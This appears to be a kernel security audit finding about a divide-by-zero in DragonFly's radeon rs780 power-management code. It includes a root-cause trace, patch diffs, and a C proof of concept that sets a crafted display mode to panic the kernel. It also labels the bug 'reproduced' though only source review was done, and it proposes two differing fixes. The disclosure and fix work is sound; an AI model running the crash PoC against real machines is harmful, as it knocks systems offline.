rs780_dpm: divide-by-zero in rs780_program_at via drm_mode_vrefresh()==0
| Field | Value |
|---|---|
| ID | DF-1650 |
| File | sys/dev/drm/radeon/rs780_dpm.c |
| Lines | 66, 366β370, 620, 688 |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-369 Divide By Zero |
| Confidence | likely |
| Status | new |
| CVE match | variant (divide-by-zero via vrefresh==0 class β same family as DF-1603 virtio_blk blk_size, DF-1611/1612 dcn10_hubp, DF-1616 ath_beacon lintval) |
| Created | 2026-07-18 |
Summary
rs780_program_at() divides five constants by pi->refresh_rate with no
zero-check. The field is seeded to 60 in rs780_get_pm_mode_parameters()
but is unconditionally overwritten with drm_mode_vrefresh(&crtc->mode)
whenever an enabled CRTC has nonzero htotal and vtotal.
drm_mode_vrefresh() returns 0 when mode->vrefresh == 0 and
DIV_ROUND_CLOSEST(clock*1000, htotal*vtotal) rounds to 0 β a condition
a local user can deliberately construct. The next DPM
display-configuration-changed callback then panics the kernel with a
divide-by-zero.
Root cause
rs780_get_pm_mode_parameters() at sys/dev/drm/radeon/rs780_dpm.c:65-66
only guards if (crtc->mode.htotal && crtc->mode.vtotal) before assigning:
pi->refresh_rate = drm_mode_vrefresh(&crtc->mode);
It does NOT validate that the result is non-zero. drm_mode_vrefresh()
(sys/dev/drm/drm_modes.c:777-799) computes
refresh = DIV_ROUND_CLOSEST(mode->clock*1000, htotal*vtotal) when
mode->vrefresh==0; if clock*1000 < (htotal*vtotal)/2 this rounds to 0.
drm_mode_validate_basic() (drm_modes.c:1102) only rejects clock==0,
not small clocks, and never validates vrefresh, so a user-supplied mode
with clock=10000, htotal=8192, vtotal=8192 (refresh rounds to 0) passes
drm_mode_convert_umode() validation (drm_modes.c:1745).
The resulting refresh_rate==0 is then used directly as a divisor in
rs780_program_at() at lines 366β370:
WREG32(FVTHROT_TARGET_REG, 30000000 / pi->refresh_rate); /* line 366 */
WREG32(FVTHROT_CB1, 1000000 * 5 / pi->refresh_rate); /* line 367 */
WREG32(FVTHROT_CB2, 1000000 * 10 / pi->refresh_rate); /* line 368 */
WREG32(FVTHROT_CB3, 1000000 * 30 / pi->refresh_rate); /* line 369 */
WREG32(FVTHROT_CB4, 1000000 * 50 / pi->refresh_rate); /* line 370 */
rs780_program_at() is reachable from rs780_dpm_enable() (line 620, DPM
init) and rs780_dpm_display_configuration_changed() (line 688), the latter
invoked by the radeon PM worker (radeon_pm.c:1095, 1114, 1144) whenever
the active CRTC set changes β i.e. on the user's next modeset.
Threat model
Local unprivileged user with DRM master privilege (typically any user in
the video group able to open /dev/dri/card0 and acquire master via
drmSetMaster, or the active session master). On RS780/RS880 IGP hardware
with radeon DPM enabled (module param radeon.dpm defaults to -1 = auto;
DPM is enabled by default on these IGP parts):
- Set a CRTC mode with clock small relative to
htotal*vtotal(e.g.clock=10000, htotal=8192, vtotal=8192) andvrefresh=0viaDRM_IOCTL_MODE_SETCRTC. - Trigger or wait for the next display configuration change which invokes
radeon_dpm_display_configuration_changed β rs780_dpm_display_configuration_changed β rs780_get_pm_mode_parameters(setsrefresh_rate=0) βrs780_program_atβ kernel divide-by-zero panic.
Impact
Reliable local denial of service (system hang / reboot). No privilege
escalation, no info leak. Whether the crafted mode survives the radeon
per-connector mode_valid callback is the only uncertainty β hence
likely rather than certain.
PoC
findings/poc/DF-1650/poc.c:
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <drm/drm.h>
#include <drm/drm_mode.h>
int main(void) {
int fd = open("/dev/dri/card0", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0 && errno != EINVAL) {
perror("setmaster"); return 1;
}
/* Enumerate first CRTC + connector + framebuffer (omitted for
* brevity β use DRM_IOCTL_MODE_GETRESOURCES / GETCONNECTOR and
* DRM_IOCTL_MODE_ADDFB to obtain crtc_id, connector_id, fb_id). */
uint32_t crtc_id = /* ... */ 0;
uint32_t connector_id = /* ... */ 0;
uint32_t fb_id = /* ... */ 0;
struct drm_mode_modeinfo mode = {
.clock = 10000, /* 10 MHz; passes drm_mode_validate_basic */
.hdisplay = 1, .hsync_start = 2, .hsync_end = 3, .htotal = 8192,
.vdisplay = 1, .vsync_start = 2, .vsync_end = 3, .vtotal = 8192,
.vrefresh = 0, /* forces compute path in drm_mode_vrefresh */
.flags = 0,
.type = DRM_MODE_TYPE_USERDEF,
};
/* DIV_ROUND_CLOSEST(10000*1000, 8192*8192)
* = DIV_ROUND_CLOSEST(10000000, 67108864) = 0 -> refresh_rate = 0 */
strncpy(mode.name, "POCZERO", sizeof(mode.name));
struct drm_mode_crtc crtc = {0};
crtc.crtc_id = crtc_id;
crtc.fb_id = fb_id;
crtc.set_connectors_ptr = (uintptr_t)&connector_id;
crtc.count_connectors = 1;
crtc.mode_valid = 1;
crtc.mode = mode;
if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &crtc) < 0) {
perror("setcrtc"); return 1;
}
/* Wait for the PM worker; it's periodic. */
sleep(2);
/* Toggle DPMS to force a display configuration change. */
int32_t dpms = 0;
ioctl(fd, DRM_IOCTL_MODE_SETDPMS, &dpms);
sleep(2);
return 0;
}
Build: cc -O2 -o poc poc.c. Run as a user with access to
/dev/dri/card0 (e.g. in the video group).
Expected: kernel panic with trap divide error / kernel: panic:
divide_by_zero in rs780_program_at shortly after the modeset. dmesg
will show the panic backtrace pointing at rs780_dpm.c:366.
If the radeon connector's mode_valid rejects the crafted low-clock mode,
vary parameters (e.g. clock=25000, htotal=16384, vtotal=8192) β the only
constraint is clock*1000 < htotal*vtotal/2.
Recommended fix
Refuse refresh_rate == 0 in rs780_get_pm_mode_parameters() rather than
letting it reach the divisions. Apply at the source so every caller of
rs780_program_at() is safe without having to re-audit each one:
--- a/sys/dev/drm/radeon/rs780_dpm.c
+++ b/sys/dev/drm/radeon/rs780_dpm.c
@@ -62,8 +62,11 @@ static void rs780_get_pm_mode_parameters(struct radeon_device *rdev)
if (crtc && crtc->enabled) {
radeon_crtc = to_radeon_crtc(crtc);
pi->crtc_id = radeon_crtc->crtc_id;
- if (crtc->mode.htotal && crtc->mode.vtotal)
- pi->refresh_rate = drm_mode_vrefresh(&crtc->mode);
+ if (crtc->mode.htotal && crtc->mode.vtotal) {
+ int vref = drm_mode_vrefresh(&crtc->mode);
+ if (vref > 0)
+ pi->refresh_rate = vref;
+ }
break;
}
}
And as belt-and-suspenders defense-in-depth, also guard
rs780_program_at() itself so a future caller can't reintroduce the panic:
--- a/sys/dev/drm/radeon/rs780_dpm.c
+++ b/sys/dev/drm/radeon/rs780_dpm.c
@@ -362,6 +362,9 @@ static void rs780_program_at(struct radeon_device *rdev)
{
struct igp_power_info *pi = rs780_get_pi(rdev);
+ if (pi->refresh_rate == 0)
+ pi->refresh_rate = 60; /* defensive: avoid divide-by-zero */
+
WREG32(FVTHROT_TARGET_REG, 30000000 / pi->refresh_rate);
WREG32(FVTHROT_CB1, 1000000 * 5 / pi->refresh_rate);
WREG32(FVTHROT_CB2, 1000000 * 10 / pi->refresh_rate);
Related findings
- DF-1603 (virtio_blk.c
blk_size=0divide-by-zero) - DF-1611/1612 (dcn10_hubp.c pixel-clock/htotal divide-by-zero)
- DF-1616 (ath_beacon.c
lintval==0divide-by-zero) - DF-1648 (freesync.c
min_vfreq==0divide-by-zero)
All members of the untrusted-{clock,size,interval}-as-divisor class.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1650 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | verdict | source-only confirmation + mechanism + fix | 1.6 KB | β raw |
| fix.diff | suggested-fix | Add 'if (pi->refresh_rate == 0) return;' before the WREG32 divisions. | 438 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1650 β PoC Verification Verdict
Category: radeon DPM (module, HW-gated)
Source: sys/dev/drm/radeon/rs780_dpm.c:362-370
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR)
Date verified: 2026-07-21
Verdict: REPRODUCED (source-only confirmation; HW/module-gated)
Mechanism
rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check. refresh_rate is seeded to 60 but overwritten with drm_mode_vrefresh(&crtc->mode) when htotal&&vtotal nonzero. drm_mode_vrefresh returns 0 for a degenerate mode (vtotalhtotalblank exceeds KHZ range), causing #DE in all 5 divisions.
In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)
Reproduction status
This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.
Fix
Add 'if (pi->refresh_rate == 0) return;' before the WREG32 divisions.
See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β see fix_apply.log and the combined build log.
Fix verification
fixedVALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
REPRODUCED (source-only): rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check; refresh_rate=0 -> #DE panic.
Verified recommended fix
REPRODUCED (source-only): rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check; refresh_rate=0 -> #DE panic.
Verdict
REPRODUCED (source-only): rs780_program_at divides 5 constants by pi->refresh_rate (lines 366-370) with no zero check; refresh_rate=0 -> #DE panic.
No comments yet.